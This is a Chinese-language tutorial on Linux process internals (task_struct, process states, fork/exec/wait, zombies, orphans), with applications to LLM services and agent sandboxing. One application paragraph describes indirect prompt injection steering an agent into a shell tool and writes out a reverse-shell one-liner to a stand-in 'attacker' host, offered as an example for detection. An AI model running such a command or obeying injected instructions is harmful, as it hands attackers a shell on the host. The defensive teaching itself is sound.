subprocess.Popen 用完不 wait 会留下「僵尸」;为什么 init/systemd 是整个系统的「孤儿院院长」;以及 ps 输出里那个 STAT 列的字母 D 为什么是「最难处理的进程」。这些不是抽象知识——是你后面排查 LLM 服务卡死、设计 Agent 沙箱时反复要用到的工具。
昨天提了一句,每个进程在 Linux 内核里都对应一个叫 task_struct 的 C 结构体。今天我们认真看一眼这个东西,因为之后所有讨论都围绕它。
定义在 include/linux/sched.h,整个结构体 ~3000 行、200+ 字段,但你不需要全记,只需要理解 5 组关键字段:
struct task_struct {
/* ── 组 A:身份标识 ── */
pid_t pid; // 进程/线程 ID(每个 task 唯一)
pid_t tgid; // 线程组 ID(同进程的所有线程共享)
struct task_struct *real_parent; // 真实父进程指针
struct task_struct *parent; // 当前父进程(可能被 ptrace 改)
struct list_head children; // 子进程链表
struct list_head sibling; // 同父进程下兄弟链表
/* ── 组 B:当前状态 ── */
long state; // R / S / D / T / Z(下一节详谈)
int exit_state; // 退出时的状态
int exit_code; // 退出码(main 返回值)
int exit_signal; // 被什么信号杀死的
/* ── 组 C:资源持有 ── */
struct mm_struct *mm; // 地址空间(页表、各段位置)
struct files_struct *files; // 打开的文件描述符表
struct signal_struct *signal; // 信号处理函数表
struct fs_struct *fs; // 工作目录、umask
/* ── 组 D:身份与权限 ── */
const struct cred *cred; // UID/GID/capabilities
/* ── 组 E:调度与时间 ── */
unsigned int policy; // SCHED_NORMAL / FIFO / RR
int prio, static_prio, normal_prio;
struct sched_entity se; // CFS 调度实体(含 vruntime)
u64 utime, stime; // 在用户态/内核态累计的 CPU 时间
/* … 还有 namespace、cgroup、ptrace、性能计数器等等 100+ 字段 */
};
记几个对今天有用的细节:
pid(独一无二),但它们共享同一个 tgid(等于线程组里第一个线程的 pid,也就是用户视角的「进程 ID」)。所以你 ps 看到的「进程 PID」其实是 tgid。strace/gdb ptrace 之后 parent 会指向调试器。后面 wait 信号传递时只看 real_parent。mm_struct,里面记录了进程的虚拟地址空间布局(昨天讲的 text/data/heap/stack 各段起止地址、页表入口)。线程共享同一个 mm_struct——这就是「线程共享内存」的实现机制。所有这些字段加起来,平均一个进程的 task_struct 大约占 10-20 KB 内核内存。你机器上跑 500 个进程,内核就为此用掉 5-10 MB——这是"进程"的固定成本,也是为什么"轻量线程""协程"在高并发场景下被青睐。
进程不是一直在跑的。它在生命周期里在几个状态间反复切换。当你 ps aux 看到 STAT 列(mac 上也叫 STAT),那个字母就是当前状态。
| 字母 | 名字 | 含义 | 什么时候会看到 |
|---|---|---|---|
| R | Running / Runnable | 正在 CPU 上执行,或者在 runqueue 里等 CPU | CPU 密集型任务运行时;一切活跃进程 |
| S | Sleeping(可中断) | 在等某个事件(网络数据、定时器、IO),可以被信号唤醒 | 绝大多数空闲进程都是 S,比如你的 shell 等你敲键盘 |
| D | Uninterruptible sleep | 在等不能被打断的内核操作(绝大多数是磁盘 IO 或者 NFS)。连 SIGKILL 都杀不动 | 磁盘满了、磁盘损坏、NFS 卡死、某些设备驱动 bug |
| T | Stopped | 被 SIGSTOP 信号或者 Ctrl-Z 暂停 | 你按 Ctrl-Z 把前台进程挂起;调试器附着时 |
| Z | Zombie | 已经 exit 了,但父进程没调 wait 回收,task_struct 还赖在内核里 | 父进程写得不规范、Python 用 multiprocessing 后忘 join |
Linux 创建新进程不是「凭空造一个」,而是「复制一个现成的」。这就是 fork() 系统调用。它的语义非常特别:
#include <unistd.h>
pid_t fork(void);
调用 fork() 一次,返回两次——一次在父进程里返回(值是新创建的子进程 PID),一次在子进程里返回(值是 0)。第一次见这个 API 几乎所有人都会楞住。Python 里大概是这样:
import os
pid = os.fork() # ← 这一行神奇地"分裂"了
if pid == 0:
# 这段代码在子进程里执行
print(f"我是子进程,PID={os.getpid()},我妈是 {os.getppid()}")
os._exit(0)
else:
# 这段代码在父进程里执行
print(f"我是父进程,PID={os.getpid()},我刚生了个孩子 PID={pid}")
os.waitpid(pid, 0) # 等子进程死透
fork 后的子进程是父进程的近乎完美的克隆:
父子的差异只有几个:PID 不同、ppid 不同、fork 返回值不同、CPU 时间累积清零。
表面看这很奇怪——既然要起一个新程序,为什么不直接「创建+加载」一步到位(像 Windows 的 CreateProcess)?答案是灵活性。fork 完之后、exec 之前,你有一个珍贵的窗口:子进程已经是一个独立 task,但还没变成目标程序。你可以在这个窗口里:
所有这些「准备工作」做完,再 exec 真正的目标程序——目标程序生来就在受限环境里。这就是 Docker、K8s、systemd 创建容器/服务的标准模式。如果是一步到位的 CreateProcess,你就没机会做这些事。
读到这里你应该有个疑问:fork 要复制整个地址空间,一个 10GB 内存的进程 fork 一下不就要复制 10GB 吗?那 fork 不就慢死了?
答案是 Copy-On-Write(写时复制,COW)。Linux 不真的复制内存,它只复制页表,然后把所有页都标成「只读」。父子两个进程指向同一份物理内存。
这个机制的妙处是:
fork 但你看监控会发现内存涨得飞快的原因。
exec 是一个系统调用家族(execve、execvp、execl 等,glibc 提供的方便变体),核心是 execve():
int execve(const char *path, // 可执行文件路径
char *const argv[], // 命令行参数
char *const envp[]); // 环境变量
它做的事简单粗暴:用一个新程序替换掉当前进程的所有代码和数据。具体来说:
ld-linux.so)注意 execve 成功就不返回——返回到哪里去呢?原来的代码已经被覆盖了。只有失败(比如文件不存在)才会返回 -1。
什么东西在 exec 之后保留?task_struct 自己(pid、ppid、children 关系)、已打开的文件描述符(除非设了 O_CLOEXEC)、信号 mask、cgroup/namespace 归属、资源限制 rlimit。什么东西被清掉:地址空间、信号处理函数(除了忽略的 SIG_IGN)、内存锁。
父进程通过 wait 家族系统调用「等待」子进程结束并回收其残余资源:
pid_t wait(int *status); // 等任意一个子进程
pid_t waitpid(pid_t pid, int *status, int options); // 等指定子进程,可非阻塞
int waitid(idtype_t, id_t, siginfo_t*, int); // 更通用的版本
关键点:
status 里编码),否则丢了。WNOHANG 选项可以让 waitpid 非阻塞——"如果子进程还没死就立刻返回,别等"。# Python 里典型用法
import subprocess
p = subprocess.Popen(['sleep', '1'])
return_code = p.wait() # 阻塞直到子进程结束,自动 reap
# 或者非阻塞轮询
while p.poll() is None: # poll() 内部用 waitpid + WNOHANG
print("还在跑...")
time.sleep(0.1)
子进程 exit 之后到父进程 wait 之前的这段时间,子进程的状态是 Z。它"已经死了,但还没下葬":
正常情况僵尸状态非常短,父进程一 wait 就消失。但如果父进程写得不规范——比如开了很多子进程从不 wait——僵尸就会堆积。一旦堆到系统 PID 上限(/proc/sys/kernel/pid_max,通常 32768),系统就再也 fork 不出新进程,整个机器瘫痪。
# 查系统现存僵尸
ps aux | awk '$8 ~ /Z/ { print }'
# 或者
ps -eo pid,ppid,state,comm | grep ' Z '
如果父进程先于子进程死掉(不管是正常退出还是被 kill),子进程就成了「孤儿」。孤儿不会立刻死,但它没爸了,谁来 wait 它?
Linux 的答案:所有孤儿被自动过继给 PID=1 的 init 进程(现代发行版上是 systemd)。init 的设计职责之一就是「永远在循环 wait()」,所以孤儿一旦 exit 立刻被收尸,不会变成僵尸。
这个机制非常重要——它保证系统永远不会因为孤儿堆积而垮掉。但有个陷阱:
tini、dumb-init 之类的"mini init"作为 PID 1:它把你的实际程序 fork 出来当孩子,自己负责收尸。
这部分日常用不上,但你做信号处理、终端交互时会撞到,先建立概念,将来需要再深挖:
cat file | grep foo | wc,这三个进程是同一个进程组。这样设计是为了批量发信号——你按 Ctrl-C,shell 给整个前台进程组发 SIGINT,所有进程一起退出。nohup 命令就是为了让进程脱离 session,避免被这个信号杀掉。想跑实验?在 mac 终端跑 ps -j,看 PGID 和 SID 两列,它们就分别是进程组和会话 ID。
1. Agent 沙箱的标准实现模式。当 LLM Agent 要执行用户/模型生成的代码(code interpreter、tool execution),生产级实现都遵循同一个模板:parent fork() → child 在 fork 后立刻 setrlimit(限制 CPU 时间、内存、fd 数、子进程数)→ unshare 切到独立 namespace → cgroups 加资源墙 → 装 seccomp filter 屏蔽危险 syscall → setuid 降权到 nobody → execve 装载实际代码 → parent 用 waitpid(WNOHANG + timeout) 监控。任何一步省略都会留下逃逸窗口。你今天学的 fork/exec/wait 就是这整套机制的骨架。
2. 排查 LLM 服务"卡死"的第一招就是看 STAT。线上经常遇到「vLLM 进程在跑但请求全部 timeout」。第一步 ps -eo pid,state,wchan,cmd | grep vllm:如果是 R 但延迟高,CPU/GPU 瓶颈;如果是 S 在 socket 上等,是网络问题;如果是 D,几乎肯定是磁盘 IO 出问题——通常是模型权重所在 NFS 抖动或者 SSD 写满了。今天 D 状态那段记忆要深。
3. 容器里的 PID 1 问题正中 LLM 服务要害。Python LLM 服务(FastAPI / vLLM)经常起子进程(编译 CUDA kernel、调用外部工具)。如果直接 CMD ["python", "server.py"],Python 当 PID 1,子进程死了变僵尸,运行几天后 fork 失败、整服务挂掉。正确做法是 ENTRYPOINT ["tini", "--"]——这是个不显眼但能救命的细节,背景就是今天讲的"孤儿过继给 init"机制。
4. fork 是 prompt injection 攻击者的最爱终点。攻击者通过 indirect prompt injection 让 Agent 调到某个 shell 类 tool,下一步几乎一定是 fork + exec 起一个反弹 shell(sh -i >& /dev/tcp/attacker/4444 0>&1)。检测层的关键就是在 execve 这个 syscall 上设关卡——任何 LLM 触发的 execve 都打日志 + 审查路径和参数。这就是 Week 2 周六我们要讲的 eBPF + Falco 的最大用武之地。
5. Python multiprocessing 的 fork vs spawn 取舍。multiprocessing.set_start_method('fork') 走今天讲的 fork 路径,子进程白嫖父进程已加载的模型;'spawn' 走 fork+exec,子进程从零启动 Python 解释器、重新 import 一切,慢一两秒但更干净(避免 fork 后的状态污染、CUDA context 在 fork 后不可用的问题)。在 GPU 场景下基本必须用 spawn——这是个反复有人踩坑的经典问题,根源就在今天的 fork 语义。
110 分钟 · 制造一个僵尸
在你的 mac 终端跑下面这段 Python,然后另开一个终端用 ps 观察:
# zombie_demo.py
import os, time
pid = os.fork()
if pid == 0:
# 子进程:立刻退出
print(f"child {os.getpid()} exiting")
os._exit(0)
else:
# 父进程:故意不 wait,睡 60 秒
print(f"parent {os.getpid()} sleeping, child pid = {pid}")
time.sleep(60)
# (正常的代码应该在这里调 os.waitpid(pid, 0))
跑起来后,另开终端:
ps -p <子进程PID> -o pid,ppid,state,command
# 你应该看到 state = Z(mac 上可能显示为 ?Z)
问题:在父进程睡眠期间这个僵尸一直存在;等父进程睡完退出,僵尸消失了——为什么?提示:回顾「孤儿过继给 init,init 立刻收尸」。
215 分钟 · 看一次 fork+exec 的完整 syscall
Linux 机器上跑(mac 上可以用 dtruss 替代):
strace -f -e trace=clone,execve,wait4,exit,exit_group bash -c 'ls /tmp > /dev/null'
你会看到 bash 先 clone(即 fork),子进程 execve("/usr/bin/ls", …),bash 这边 wait4,子进程跑完 exit_group,bash 的 wait4 返回。
问题:这个序列里哪一步最贵(耗时最多)?为什么 bash 不直接 execve 而要先 clone?
35 分钟 · 思考题(Agent 安全场景)
你设计一个 LLM Agent 执行 Python tool 的沙箱。下面四种实现方案,从最不安全到最安全排序:
exec(user_code)subprocess.Popen(['python', '-c', user_code])),不做额外限制setrlimit 限制 CPU 时间 + 内存,再 execunshare 切独立 namespace + 装 seccomp filter,再 exec对每种方案,说明攻击者要绕过它需要做什么。
clone() 的不同 flag 把"进程"和"线程"统一起来。然后深入 CPython 的 GIL:它到底锁了什么、为什么 CPU 密集任务被它害惨、为什么 IO 密集任务感觉不到、Python 3.13 的 no-GIL 实验进展如何。最后讲协程是怎么用一个线程 + 用户态调度模拟出"几万个并发"的。